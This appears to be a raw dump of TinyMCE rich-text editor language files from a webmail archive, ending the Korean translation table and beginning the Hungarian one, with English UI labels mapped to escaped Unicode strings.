"Alternative source URL": "\ub300\uccb4 \uc6d0\ubcf8 URL",
"Media poster (Image URL)": "\ub300\ud45c \uc774\ubbf8\uc9c0(\uc774\ubbf8\uc9c0 URL)",
"Paste your embed code below:": "\uc544\ub798\uc5d0 \ucf54\ub4dc\ub97c \ubd99\uc5ec\ub123\uc73c\uc138\uc694:",
"Embed": "\uc0bd\uc785",
"Media...": "\ubbf8\ub514\uc5b4...",
"Nonbreaking space": "\ub744\uc5b4\uc4f0\uae30",
"Page break": "\ud398\uc774\uc9c0 \uad6c\ubd84\uc790",
"Paste as text": "\ud14d\uc2a4\ud2b8\ub85c \ubd99\uc5ec\ub123\uae30",
"Preview": "\ubbf8\ub9ac\ubcf4\uae30",
"Print...": "\uc778\uc1c4...",
"Save": "\uc800\uc7a5",
"Find": "\ucc3e\uae30",
"Replace with": "\uad50\uccb4",
"Replace": "\uad50\uccb4",
"Replace all": "\uc804\uccb4 \uad50\uccb4",
"Previous": "\uc774\uc804",
"Next": "\ub2e4\uc74c",
"Find and replace...": "\ucc3e\uae30 \ubc0f \ubc14\uafb8\uae30...",
"Could not find the specified string.": "\ubb38\uc790\ub97c \ucc3e\uc744 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.",
"Match case": "\ub300\uc18c\ubb38\uc790 \uc77c\uce58",
"Find whole words only": "\ubaa8\ub450 \uc77c\uce58\ud558\ub294 \ubb38\uc790 \ucc3e\uae30",
"Spell check": "\ub9de\ucda4\ubc95 \uac80\uc0ac",
"Ignore": "\ubb34\uc2dc",
"Ignore all": "\uc804\uccb4\ubb34\uc2dc",
"Finish": "\uc644\ub8cc",
"Add to Dictionary": "\uc0ac\uc804\uc5d0 \ucd94\uac00",
"Insert table": "\ud14c\uc774\ube14 \uc0bd\uc785",
"Table properties": "\ud14c\uc774\ube14 \uc18d\uc131",
"Delete table": "\ud14c\uc774\ube14 \uc0ad\uc81c",
"Cell": "\uc140",
"Row": "\uc5f4",
"Column": "\ud589",
"Cell properties": "\uc140 \uc18d",
"Merge cells": "\uc140 \ud569\uce58\uae30",
"Split cell": "\uc140 \ub098\ub204\uae30",
"Insert row before": "\uc774\uc804\uc5d0 \ud589 \uc0bd\uc785",
"Insert row after": "\ub2e4\uc74c\uc5d0 \ud589 \uc0bd\uc785",
"Delete row": "\ud589 \uc9c0\uc6b0\uae30",
"Row properties": "\ud589 \uc18d\uc131",
"Cut row": "\ud589 \uc798\ub77c\ub0b4\uae30",
"Copy row": "\ud589 \ubcf5\uc0ac",
"Paste row before": "\uc774\uc804\uc5d0 \ud589 \ubd99\uc5ec\ub123\uae30",
"Paste row after": "\ub2e4\uc74c\uc5d0 \ud589 \ubd99\uc5ec\ub123\uae30",
"Insert column before": "\uc774\uc804\uc5d0 \ud589 \uc0bd\uc785",
"Insert column after": "\ub2e4\uc74c\uc5d0 \uc5f4 \uc0bd\uc785",
"Delete column": "\uc5f4 \uc9c0\uc6b0\uae30",
"Cols": "\uc5f4",
"Rows": "\ud589",
"Width": "\ub113\uc774",
"Height": "\ub192\uc774",
"Cell spacing": "\uc140 \uac04\uaca9",
"Cell padding": "\uc140 \uc548\ucabd \uc5ec\ubc31",
"Show caption": "\ucea1\uc158 \ud45c\uc2dc",
"Left": "\uc67c\ucabd",
"Center": "\uac00\uc6b4\ub370",
"Right": "\uc624\ub978\ucabd",
"Cell type": "\uc140 \ud0c0\uc785",
"Scope": "\ubc94\uc704",
"Alignment": "\uc815\ub82c",
"H Align": "\uac00\ub85c \uc815\ub82c",
"V Align": "\uc138\ub85c \uc815\ub82c",
"Top": "\uc0c1\ub2e8",
"Middle": "\uc911\uac04",
"Bottom": "\ud558\ub2e8",
"Header cell": "\ud5e4\ub354 \uc140",
"Row group": "\ud589 \uadf8\ub8f9",
"Column group": "\uc5f4 \uadf8\ub8f9",
"Row type": "\ud589 \ud0c0\uc785",
"Header": "\ud5e4\ub354",
"Body": "\ubc14\ub514",
"Footer": "\ud478\ud130",
"Border color": "\ud14c\ub450\ub9ac \uc0c9",
"Insert template...": "\ud15c\ud50c\ub9bf \uc0bd\uc785...",
"Templates": "\ud15c\ud50c\ub9bf",
"Template": "\ud15c\ud50c\ub9bf",
"Text color": "\ubb38\uc790 \uc0c9\uae54",
"Background color": "\ubc30\uacbd\uc0c9",
"Custom...": "\uc9c1\uc811 \uc0c9\uae54 \uc9c0\uc815\ud558\uae30",
"Custom color": "\uc9c1\uc811 \uc9c0\uc815\ud55c \uc0c9\uae54",
"No color": "\uc0c9\uc0c1 \uc5c6\uc74c",
"Remove color": "\uc0c9 \uc81c\uac70",
"Table of Contents": "\ubaa9\ucc28",
"Show blocks": "\ube14\ub7ed \ubcf4\uc5ec\uc8fc\uae30",
"Show invisible characters": "\uc548\ubcf4\uc774\ub294 \ubb38\uc790 \ubcf4\uc774\uae30",
"Word count": "\ub2e8\uc5b4 \uc218",
"Count": "\uac1c\uc218",
"Document": "\ubb38\uc11c",
"Selection": "\uc120\ud0dd",
"Words": "\ub2e8\uc5b4",
"Words: {0}": "\ub2e8\uc5b4: {0}",
"{0} words": "{0} \ub2e8\uc5b4",
"File": "\ud30c\uc77c",
"Edit": "\uc218\uc815",
"Insert": "\uc0bd\uc785",
"View": "\ubcf4\uae30",
"Format": "\ud3ec\ub9f7",
"Table": "\ud14c\uc774\ube14",
"Tools": "\ub3c4\uad6c",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\uc11c\uc2dd \uc788\ub294 \ud14d\uc2a4\ud2b8 \ud3b8\uc9d1\uae30 \uc785\ub2c8\ub2e4. ALT-F9\ub97c \ub204\ub974\uba74 \uba54\ub274, ALT-F10\ub97c \ub204\ub974\uba74 \ud234\ubc14, ALT-0\uc744 \ub204\ub974\uba74 \ub3c4\uc6c0\ub9d0\uc744 \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.",
"Image title": "\uc774\ubbf8\uc9c0 \uc81c\ubaa9",
"Border width": "\ud14c\ub450\ub9ac \ub450\uaed8",
"Border style": "\ud14c\ub450\ub9ac \uc2a4\ud0c0\uc77c",
"Error": "\uc624\ub958",
"Warn": "\uacbd\uace0",
"Valid": "\uc720\ud6a8\ud568",
"To open the popup, press Shift+Enter": "\ud31d\uc5c5\uc744 \uc5f4\ub824\uba74 Shift+Enter\ub97c \ub204\ub974\uc2ed\uc2dc\uc624.",
"Rich Text Area. Press ALT-0 for help.": "\uc11c\uc2dd \uc788\ub294 \ud14d\uc2a4\ud2b8 \uc601\uc5ed. ALT-0\uc744 \ub204\ub974\uba74 \ub3c4\uc6c0\ub9d0\uc744 \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.",
"System Font": "\uc2dc\uc2a4\ud15c \uae00\uaf34",
"Failed to upload image: {0}": "\uc774\ubbf8\uc9c0 \uc5c5\ub85c\ub4dc \uc2e4\ud328: {0}",
"Failed to load plugin: {0} from url {1}": "\ud50c\ub7ec\uadf8\uc778 \ub85c\ub4dc \uc2e4\ud328:  URL: {1}\uc5d0\uc11c\uc758 {0}",
"Failed to load plugin url: {0}": "\ud50c\ub7ec\uadf8\uc778 URL \ub85c\ub4dc \uc2e4\ud328: {0}",
"Failed to initialize plugin: {0}": "\ud50c\ub7ec\uadf8\uc778 \ucd08\uae30\ud654 \uc2e4\ud328: {0}",
"example": "\uc608\uc81c",
"Search": "\uac80\uc0c9",
"All": "\ubaa8\ub450",
"Currency": "\ud1b5\ud654",
"Text": "\ud14d\uc2a4\ud2b8",
"Quotations": "\uc778\uc6a9\ubb38",
"Mathematical": "\uc218\ud559",
"Extended Latin": "\ud655\uc7a5 \ub77c\ud2f4\uc5b4",
"Symbols": "\uae30\ud638",
"Arrows": "\ud654\uc0b4\ud45c",
"User Defined": "\uc0ac\uc6a9\uc790 \uc815\uc758",
"dollar sign": "\ub2ec\ub7ec \uae30\ud638",
"currency sign": "\ud1b5\ud654 \uae30\ud638",
"euro-currency sign": "\uc720\ub85c\ud654 \uae30\ud638",
"colon sign": "\ucf5c\ub860 \uae30\ud638",
"cruzeiro sign": "\ud06c\ub8e8\uc81c\uc774\ub8e8 \uae30\ud638",
"french franc sign": "\ud504\ub791\uc2a4 \ud504\ub791 \uae30\ud638",
"lira sign": "\ub9ac\ub77c \uae30\ud638",
"mill sign": "\ubc00 \uae30\ud638",
"naira sign": "\ub098\uc774\ub77c \uae30\ud638",
"peseta sign": "\ud398\uc138\ud0c0 \uae30\ud638",
"rupee sign": "\ub8e8\ud53c \uae30\ud638",
"won sign": "\uc6d0 \uae30\ud638",
"new sheqel sign": "\ub274 \uc138\ucf08 \uae30\ud638",
"dong sign": "\ub3d9 \uae30\ud638",
"kip sign": "\ud0b5 \uae30\ud638",
"tugrik sign": "\ud22c\uadf8\ub9ac\ud06c \uae30\ud638",
"drachma sign": "\ub4dc\ub77c\ud06c\ub9c8 \uae30\ud638",
"german penny symbol": "\ub3c5\uc77c \ud398\ub2c8 \uae30\ud638",
"peso sign": "\ud398\uc18c \uae30\ud638",
"guarani sign": "\uacfc\ub77c\ub2c8 \uae30\ud638",
"austral sign": "\uc544\uc6b0\uc2a4\ud2b8\ub784 \uae30\ud638",
"hryvnia sign": "\uadf8\ub9ac\ube0c\ub098 \uae30\ud638",
"cedi sign": "\uc138\ub514 \uae30\ud638",
"livre tournois sign": "\ub9ac\ube0c\ub974 \ud2b8\ub974\ub204\uc544 \uae30\ud638",
"spesmilo sign": "\uc2a4\ud398\uc2a4\ubc00\ub85c \uae30\ud638",
"tenge sign": "\ud161\uac8c \uae30\ud638",
"indian rupee sign": "\uc778\ub3c4 \ub8e8\ud53c \uae30\ud638",
"turkish lira sign": "\ud130\ud0a4 \ub9ac\ub77c \uae30\ud638",
"nordic mark sign": "\ub178\ub974\ub515 \ub9c8\ub974\ud06c \uae30\ud638",
"manat sign": "\ub9c8\ub098\ud2b8 \uae30\ud638",
"ruble sign": "\ub8e8\ube14 \uae30\ud638",
"yen character": "\uc5d4 \uae30\ud638",
"yuan character": "\uc704\uc548 \uae30\ud638",
"yuan character, in hong kong and taiwan": "\ub300\ub9cc \uc704\uc548 \uae30\ud638",
"yen\/yuan character variant one": "\uc5d4\/\uc704\uc548 \ubb38\uc790 \ubcc0\ud615",
"Loading emoticons...": "\uc774\ubaa8\ud2f0\ucf58 \ubd88\ub7ec\uc624\ub294 \uc911...",
"Could not load emoticons": "\uc774\ubaa8\ud2f0\ucf58\uc744 \ubd88\ub7ec\uc62c \uc218 \uc5c6\uc74c",
"People": "\uc0ac\ub78c",
"Animals and Nature": "\ub3d9\ubb3c\uacfc \uc790\uc5f0",
"Food and Drink": "\uc74c\uc2dd\uacfc \uc74c\ub8cc",
"Activity": "\ud65c\ub3d9",
"Travel and Places": "\uc5ec\ud589\uacfc \uc7a5\uc18c",
"Objects": "\ubb3c\uac74",
"Flags": "\uae43\ubc1c",
"Characters": "\ubb38\uc790",
"Characters (no spaces)": "\ubb38\uc790(\uacf5\ubc31 \uc5c6\uc74c)",
"{0} characters": "{0} \ubb38\uc790",
"Error: Form submit field collision.": "\uc624\ub958: \uc591\uc2dd \uc81c\ucd9c \ud544\ub4dc \ubd88\uc77c\uce58",
"Error: No form element found.": "\uc624\ub958: \uc591\uc2dd \ud56d\ubaa9 \uc5c6\uc74c",
"Update": "\uc5c5\ub370\uc774\ud2b8",
"Color swatch": "\uc0c9\uc0c1 \uacac\ubcf8",
"Turquoise": "\uccad\ub85d\uc0c9",
"Green": "\ucd08\ub85d\uc0c9",
"Blue": "\ud30c\ub780\uc0c9",
"Purple": "\ubcf4\ub77c\uc0c9",
"Navy Blue": "\ub0a8\uc0c9",
"Dark Turquoise": "\uc9c4\ud55c \uccad\ub85d\uc0c9",
"Dark Green": "\uc9c4\ud55c \ucd08\ub85d\uc0c9",
"Medium Blue": "\uc911\uac04 \ud30c\ub780\uc0c9",
"Medium Purple": "\uc911\uac04 \ubcf4\ub77c\uc0c9",
"Midnight Blue": "\uc9c4\ud55c \ud30c\ub780\uc0c9",
"Yellow": "\ub178\ub780\uc0c9",
"Orange": "\uc8fc\ud669\uc0c9",
"Red": "\ube68\uac04\uc0c9",
"Light Gray": "\ubc1d\uc740 \ud68c\uc0c9",
"Gray": "\ud68c\uc0c9",
"Dark Yellow": "\uc9c4\ud55c \ub178\ub780\uc0c9",
"Dark Orange": "\uc9c4\ud55c \uc8fc\ud669\uc0c9",
"Dark Red": "\uc9c4\ud55c \ube68\uac04\uc0c9",
"Medium Gray": "\uc911\uac04 \ud68c\uc0c9",
"Dark Gray": "\uc9c4\ud55c \ud68c\uc0c9",
"Light Green": "\ubc1d\uc740 \ub179\uc0c9",
"Light Yellow": "\ubc1d\uc740 \ub178\ub780\uc0c9",
"Light Red": "\ubc1d\uc740 \ube68\uac04\uc0c9",
"Light Purple": "\ubc1d\uc740 \ubcf4\ub77c\uc0c9",
"Light Blue": "\ubc1d\uc740 \ud30c\ub780\uc0c9",
"Dark Purple": "\uc9c4\ud55c \ubcf4\ub77c\uc0c9",
"Dark Blue": "\uc9c4\ud55c \ud30c\ub780\uc0c9",
"Black": "\uac80\uc740\uc0c9",
"White": "\ud770\uc0c9",
"Switch to or from fullscreen mode": "\uc804\uccb4 \ud654\uba74\uc73c\ub85c\/\uc5d0\uc11c \uc804\ud658",
"Open help dialog": "\ub3c4\uc6c0\ub9d0 \ub300\ud654\ucc3d \uc5f4\uae30",
"history": "\uae30\ub85d",
"styles": "\uc2a4\ud0c0\uc77c",
"formatting": "\ud3ec\ub9f7\ud305",
"alignment": "\uc815\ub82c",
"indentation": "\ub4e4\uc5ec\uc4f0\uae30",
"permanent pen": "\uc720\uc131\ud39c",
"comments": "\uc8fc\uc11d",
"Format Painter": "\uc11c\uc2dd \ubcf5\uc0ac",
"Insert\/edit iframe": "\uc544\uc774\ud504\ub808\uc784 \uc0bd\uc785\/\ud3b8\uc9d1",
"Capitalization": "\ub300\ubb38\uc790\ud654",
"lowercase": "\uc18c\ubb38\uc790",
"UPPERCASE": "\ub300\ubb38\uc790",
"Title Case": "\uc81c\ubaa9\uc744 \ub300\ubb38\uc790\ud654",
"Permanent Pen Properties": "\uc601\uad6c \ud39c \ud2b9\uc131",
"Permanent pen properties...": "\uc601\uad6c \ud39c \ud2b9\uc131...",
"Font": "\uae00\uaf34",
"Size": "\ud06c\uae30",
"More...": "\ub354 \ubcf4\uae30...",
"Spellcheck Language": "\ub9de\ucda4\ubc95 \uac80\uc0ac \uc5b8\uc5b4",
"Select...": "\uc120\ud0dd...",
"Preferences": "\ud658\uacbd\uc124\uc815",
"Yes": "\ub124",
"No": "\uc544\ub2c8\uc624",
"Keyboard Navigation": "\ud0a4 \uc120\ud0dd",
"Version": "\ubc84\uc804",
"Anchor": "\uc575\ucee4",
"Special character": "\ud2b9\uc218\ubb38\uc790",
"Code sample": "\ucf54\ub4dc\uc0d8\ud50c",
"Color": "\uc0c9\uc0c1",
"Emoticons": "\uc774\ubaa8\ud2f0\ucf58",
"Document properties": "\ubb38\uc11c \uc18d\uc131",
"Image": "\uc774\ubbf8\uc9c0",
"Insert link": "\ub9c1\ud06c \uc0bd\uc785 ",
"Target": "\ub300\uc0c1",
"Link": "\ub9c1\ud06c",
"Poster": "\ud3ec\uc2a4\ud130",
"Media": "\ubbf8\ub514\uc5b4",
"Print": "\ucd9c\ub825",
"Prev": "\uc774\uc804",
"Find and replace": "\ucc3e\uc544\uc11c \uad50\uccb4",
"Whole words": "\uc804\uccb4 \ub2e8\uc5b4",
"Spellcheck": "\ubb38\ubc95\uccb4\ud06c",
"Caption": "\ucea1\uc158",
"Insert template": "\ud15c\ud50c\ub9bf \uc0bd\uc785"
});PK
h�\�I7:�S�S!program/js/tinymce/langs/hu_HU.jsnu�[���tinymce.addI18n('hu_HU',{
"Redo": "Ism\u00e9t",
"Undo": "Visszavon\u00e1s",
"Cut": "Kiv\u00e1g\u00e1s",
"Copy": "M\u00e1sol\u00e1s",
"Paste": "Beilleszt\u00e9s",
"Select all": "Minden kijel\u00f6l\u00e9se",
"New document": "\u00daj dokumentum",
"Ok": "Rendben",
"Cancel": "M\u00e9gse",
"Visual aids": "Vizu\u00e1lis seg\u00e9deszk\u00f6z\u00f6k",
"Bold": "F\u00e9lk\u00f6v\u00e9r",
"Italic": "D\u0151lt",
"Underline": "Al\u00e1h\u00fazott",
"Strikethrough": "\u00c1th\u00fazott",
"Superscript": "Fels\u0151 index",
"Subscript": "Als\u00f3 index",
"Clear formatting": "Form\u00e1z\u00e1s t\u00f6rl\u00e9se",
"Align left": "Balra igaz\u00edt",
"Align center": "K\u00f6z\u00e9pre igaz\u00edt",
"Align right": "Jobbra igaz\u00edt",
"Justify": "Sorkiz\u00e1rt",
"Bullet list": "Listajeles lista",
"Numbered list": "Sz\u00e1mozott lista",
"Decrease indent": "Beh\u00faz\u00e1s cs\u00f6kkent\u00e9se",
"Increase indent": "Beh\u00faz\u00e1s n\u00f6vel\u00e9se",
"Close": "Bez\u00e1r",
"Formats": "Form\u00e1tumok",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "A b\u00f6ng\u00e9sz\u0151d nem t\u00e1mogatja a k\u00f6zvetlen hozz\u00e1f\u00e9r\u00e9st a v\u00e1g\u00f3laphoz. K\u00e9rlek, haszn\u00e1ld a Ctrl+X\/C\/V billenty\u0171ket.",
"Headers": "C\u00edmsorok",
"Header 1": "C\u00edmsor 1",
"Header 2": "C\u00edmsor 2",
"Header 3": "C\u00edmsor 3",
"Header 4": "C\u00edmsor 4",
"Header 5": "C\u00edmsor 5",
"Header 6": "C\u00edmsor 6",
"Headings": "Fejl\u00e9cek",
"Heading 1": "1. fejl\u00e9c",
"Heading 2": "2. fejl\u00e9c",
"Heading 3": "3. fejl\u00e9c",
"Heading 4": "4. fejl\u00e9c",
"Heading 5": "5. fejl\u00e9c",
"Heading 6": "6. fejl\u00e9c",
"Preformatted": "El\u0151form\u00e1zott",
"Div": "Div",
"Pre": "Pre",
"Code": "K\u00f3d",
"Paragraph": "Bekezd\u00e9s",
"Blockquote": "Id\u00e9zetblokk",
"Inline": "Foly\u00f3 sz\u00f6veg",
"Blocks": "Blokkok",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Beilleszt\u00e9s mostant\u00f3l egyszer\u0171 sz\u00f6veg m\u00f3dban. A tartalmak mostant\u00f3l egyszer\u0171 sz\u00f6vegk\u00e9nt lesznek beillesztve, am\u00edg nem kapcsolod ki ezt az opci\u00f3t.",
"Fonts": "Bet\u0171t\u00edpusok",
"Font Sizes": "Bet\u0171m\u00e9retek",
"Class": "Oszt\u00e1ly",
"Browse for an image": "K\u00e9p keres\u00e9se tall\u00f3z\u00e1ssal",
"OR": "VAGY",
"Drop an image here": "H\u00fazz ide egy k\u00e9pet",
"Upload": "Felt\u00f6lt\u00e9s",
"Block": "Blokk",
"Align": "Igaz\u00edt\u00e1s",
"Default": "Alap\u00e9rtelmezett",
"Circle": "K\u00f6r",
"Disc": "Pont",
"Square": "N\u00e9gyzet",
"Lower Alpha": "Kisbet\u0171",
"Lower Greek": "Kis g\u00f6r\u00f6g sz\u00e1m",
"Lower Roman": "Kis r\u00f3mai sz\u00e1m",
"Upper Alpha": "Nagybet\u0171",
"Upper Roman": "Nagy r\u00f3mai sz\u00e1m",
"Anchor...": "Horgony...",
"Name": "N\u00e9v",
"Id": "Azonos\u00edt\u00f3",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Az azonos\u00edt\u00f3nak bet\u0171vel kell kezd\u0151dnie, azut\u00e1n csak bet\u0171ket, sz\u00e1mokat, gondolatjeleket, pontokat, kett\u0151spontokat vagy al\u00e1h\u00faz\u00e1st tartalmazhat.",
"You have unsaved changes are you sure you want to navigate away?": "Nem mentett m\u00f3dos\u00edt\u00e1said vannak, biztos hogy el akarsz navig\u00e1lni?",
"Restore last draft": "Utols\u00f3 piszkozat vissza\u00e1ll\u00edt\u00e1sa",
"Special character...": "Speci\u00e1lis karakter...",
"Source code": "Forr\u00e1sk\u00f3d",
"Insert\/Edit code sample": "K\u00f3dminta besz\u00far\u00e1sa\/szerkeszt\u00e9se",
"Language": "Nyelv",
"Code sample...": "K\u00f3dminta...",
"Color Picker": "Sz\u00ednv\u00e1laszt\u00f3",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Balr\u00f3l jobbra",
"Right to left": "Jobbr\u00f3l balra",
"Emoticons": "Vigyorok",
"Emoticons...": "Hangulatjelek...",
"Metadata and Document Properties": "Metaadatok \u00e9s a dokumentum tulajdons\u00e1gai",
"Title": "C\u00edm",
"Keywords": "Kulcsszavak",
"Description": "Le\u00edr\u00e1s",
"Robots": "Robotok",
"Author": "Szerz\u0151",
"Encoding": "K\u00f3dol\u00e1s",
"Fullscreen": "Teljes k\u00e9perny\u0151",
"Action": "M\u0171velet",
"Shortcut": "Parancsikon",
"Help": "S\u00fag\u00f3",
"Address": "C\u00edm",
"Focus to menubar": "F\u00f3kusz a men\u00fcre",
"Focus to toolbar": "F\u00f3kusz az eszk\u00f6zt\u00e1rra",
"Focus to element path": "F\u00f3kusz az elemek \u00fatvonal\u00e1ra",
"Focus to contextual toolbar": "F\u00f3kusz a k\u00f6rnyezetf\u00fcgg\u0151 eszk\u00f6zt\u00e1rra",
"Insert link (if link plugin activated)": "Hivatkoz\u00e1s besz\u00far\u00e1sa (ha a hivatkoz\u00e1s b\u0151v\u00edtm\u00e9ny enged\u00e9lyezett)",
"Save (if save plugin activated)": "Ment\u00e9s (ha a ment\u00e9s b\u0151v\u00edtm\u00e9ny enged\u00e9lyezett)",
"Find (if searchreplace plugin activated)": "Keres\u00e9s (ha a keres\u00e9s \u00e9s csere b\u0151v\u00edtm\u00e9ny enged\u00e9lyezett)",
"Plugins installed ({0}):": "Telep\u00edtett b\u0151v\u00edtm\u00e9nyek ({0}):",
"Premium plugins:": "Pr\u00e9mium b\u0151v\u00edtm\u00e9nyek:",
"Learn more...": "Tudj meg t\u00f6bbet...",
"You are using {0}": "Haszn\u00e1latban: {0}",
"Plugins": "Pluginek",
"Handy Shortcuts": "Hasznos linkek",
"Horizontal line": "V\u00edzszintes vonal",
"Insert\/edit image": "K\u00e9p beilleszt\u00e9se\/szerkeszt\u00e9se",
"Alternative description": "Alternat\u00edv le\u00edr\u00e1s",
"Accessibility": "Akad\u00e1lymentes\u00edt\u00e9s",
"Image is decorative": "Dekor\u00e1ci\u00f3s k\u00e9p",
"Source": "Forr\u00e1s",
"Dimensions": "M\u00e9retek",
"Constrain proportions": "M\u00e9retar\u00e1ny",
"General": "\u00c1ltal\u00e1nos",
"Advanced": "Halad\u00f3",
"Style": "St\u00edlus",
"Vertical space": "Vertik\u00e1lis hely",
"Horizontal space": "Horizont\u00e1lis hely",
"Border": "Szeg\u00e9ly",
"Insert image": "K\u00e9p beilleszt\u00e9se",
"Image...": "K\u00e9p...",
"Image list": "K\u00e9p lista",
"Rotate counterclockwise": "Forgat\u00e1s az \u00f3ramutat\u00f3 j\u00e1r\u00e1s\u00e1val ellent\u00e9tesen",
"Rotate clockwise": "Forgat\u00e1s az \u00f3ramutat\u00f3 j\u00e1r\u00e1s\u00e1val megegyez\u0151en",
"Flip vertically": "F\u00fcgg\u0151leges t\u00fckr\u00f6z\u00e9s",
"Flip horizontally": "V\u00edzszintes t\u00fckr\u00f6z\u00e9s",
"Edit image": "K\u00e9p szerkeszt\u00e9se",
"Image options": "K\u00e9p be\u00e1ll\u00edt\u00e1sok",
"Zoom in": "Nagy\u00edt\u00e1s",
"Zoom out": "Kicsiny\u00edt\u00e9s",
"Crop": "K\u00e9p v\u00e1g\u00e1s",
"Resize": "\u00c1tm\u00e9retez\u00e9s",
"Orientation": "K\u00e9p t\u00e1jol\u00e1s",
"Brightness": "F\u00e9nyer\u0151",
"Sharpen": "\u00c9less\u00e9g",
"Contrast": "Kontraszt",
"Color levels": "Sz\u00ednszint",
"Gamma": "Gamma",
"Invert": "Inverz k\u00e9p",
"Apply": "Ment\u00e9s",
"Back": "Vissza",
"Insert date\/time": "D\u00e1tum\/id\u0151 beilleszt\u00e9se",
"Date\/time": "D\u00e1tum\/id\u0151",
"Insert\/edit link": "Hivatkoz\u00e1s beilleszt\u00e9se\/szerkeszt\u00e9se",
"Text to display": "Megjelen\u0151 sz\u00f6veg",
"Url": "Url",
"Open link in...": "Hivatkoz\u00e1s megnyit\u00e1sa...",
"Current window": "Jelenlegi ablak",
"None": "Nincs",
"New window": "\u00daj ablak",
"Open link": "Hivatkoz\u00e1s megnyit\u00e1sa",
"Remove link": "Hivatkoz\u00e1s t\u00f6rl\u00e9se",
"Anchors": "Horgonyok",
"Link...": "Hivatkoz\u00e1s...",
"Paste or type a link": "Hivatkoz\u00e1s be\u00edr\u00e1sa vagy beilleszt\u00e9se",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "A megadott URL email c\u00edmnek t\u0171nik. Szeretn\u00e9d hozz\u00e1adni a sz\u00fcks\u00e9ges mailto: el\u0151tagot?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "A megadott URL k\u00fcls\u0151 c\u00edmnek t\u0171nik. Szeretn\u00e9d hozz\u00e1adni a sz\u00fcks\u00e9ges http:\/\/ el\u0151tagot?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Az URL amit megadt\u00e1l k\u00fcls\u0151 hivatkoz\u00e1s. Szeretn\u00e9d https:\/\/ el\u0151taggal megnyitni?",
"Link list": "Hivatkoz\u00e1slista",
"Insert video": "Vide\u00f3 beilleszt\u00e9se",
"Insert\/edit video": "Vide\u00f3 beilleszt\u00e9se\/szerkeszt\u00e9se",
"Insert\/edit media": "M\u00e9dia besz\u00far\u00e1sa\/beilleszt\u00e9se",
"Alternative source": "Alternat\u00edv forr\u00e1s",
"Alternative source URL": "Alternat\u00edv forr\u00e1s URL",
"Media poster (Image URL)": "M\u00e9dia poszter (k\u00e9p URL)",
"Paste your embed code below:": "Illeszd be a be\u00e1gyaz\u00f3 k\u00f3dot alulra:",
"Embed": "Be\u00e1gyaz\u00e1s",
"Media...": "M\u00e9dia...",
"Nonbreaking space": "Nem t\u00f6rhet\u0151 sz\u00f3k\u00f6z",
"Page break": "Oldalt\u00f6r\u00e9s",
"Paste as text": "Beilleszt\u00e9s sz\u00f6vegk\u00e9nt",
"Preview": "El\u0151n\u00e9zet",
"Print...": "Nyomtat\u00e1s...",
"Save": "Ment\u00e9s",
"Find": "Keres\u00e9s",
"Replace with": "Csere erre",
"Replace": "Csere",
"Replace all": "Az \u00f6sszes cser\u00e9je",
"Previous": "El\u0151z\u0151",
"Next": "K\u00f6vetkez\u0151",
"Find and Replace": "Keres\u00e9s \u00e9s csere",
"Find and replace...": "Keres\u00e9s \u00e9s csere...",
"Could not find the specified string.": "A be\u00edrt kifejez\u00e9s nem tal\u00e1lhat\u00f3.",
"Match case": "Kis \u00e9s nagybet\u0171k megk\u00fcl\u00f6nb\u00f6ztet\u00e9se",
"Find whole words only": "Csak teljes szavak keres\u00e9se",
"Find in selection": "Keres\u00e9s a kiv\u00e1laszt\u00e1sban",
"Spellcheck": "Helyes\u00edr\u00e1s ellen\u0151rz\u00e9s",
"Spellcheck Language": "Helyes\u00edr\u00e1s-ellen\u0151rz\u00e9s nyelve",
"No misspellings found.": "Nincsenek el\u00edr\u00e1sok.",
"Ignore": "Figyelmen k\u00edv\u00fcl hagy",
"Ignore all": "Mindent figyelmen k\u00edv\u00fcl hagy",
"Finish": "Befejez\u00e9s",
"Add to Dictionary": "Sz\u00f3t\u00e1rhoz ad",
"Insert table": "T\u00e1bl\u00e1zat beilleszt\u00e9se",
"Table properties": "T\u00e1bl\u00e1zat tulajdons\u00e1gok",
"Delete table": "T\u00e1bl\u00e1zat t\u00f6rl\u00e9se",
"Cell": "Cella",
"Row": "Sor",
"Column": "Oszlop",
"Cell properties": "Cella tulajdons\u00e1gok",
"Merge cells": "Cell\u00e1k egyes\u00edt\u00e9se",
"Split cell": "Cell\u00e1k sz\u00e9tv\u00e1laszt\u00e1sa",
"Insert row before": "Sor besz\u00far\u00e1sa el\u00e9",
"Insert row after": "Sor besz\u00far\u00e1sa m\u00f6g\u00e9",
"Delete row": "Sor t\u00f6rl\u00e9se",
"Row properties": "Sor tulajdons\u00e1gai",
"Cut row": "Sor kiv\u00e1g\u00e1sa",
"Copy row": "Sor m\u00e1sol\u00e1sa",
"Paste row before": "Sor beilleszt\u00e9se el\u00e9",
"Paste row after": "Sor beilleszt\u00e9se m\u00f6g\u00e9",
"Insert column before": "Oszlop besz\u00far\u00e1sa el\u00e9",
"Insert column after": "Oszlop besz\u00far\u00e1sa m\u00f6g\u00e9",
"Delete column": "Oszlop t\u00f6rl\u00e9se",
"Cols": "Oszlopok",
"Rows": "Sorok",
"Width": "Sz\u00e9less\u00e9g",
"Height": "Magass\u00e1g",
"Cell spacing": "Cell\u00e1k t\u00e1vols\u00e1ga",
"Cell padding": "Cella m\u00e9rete",
"Caption": "Felirat",
"Show caption": "C\u00edm megjelen\u00edt\u00e9se",
"Left": "Bal",
"Center": "K\u00f6z\u00e9p",
"Right": "Jobb",
"Cell type": "Cella t\u00edpusa",
"Scope": "Hat\u00f3k\u00f6r",
"Alignment": "Igaz\u00edt\u00e1s",
"H Align": "V\u00edzszintes igaz\u00edt\u00e1s",
"V Align": "F\u00fcgg\u0151leges igaz\u00edt\u00e1s",
"Top": "Fel\u00fcl",
"Middle": "K\u00f6z\u00e9pen",
"Bottom": "Alul",
"Header cell": "Fejl\u00e9c cella",
"Row group": "Sor csoport",
"Column group": "Oszlop csoport",
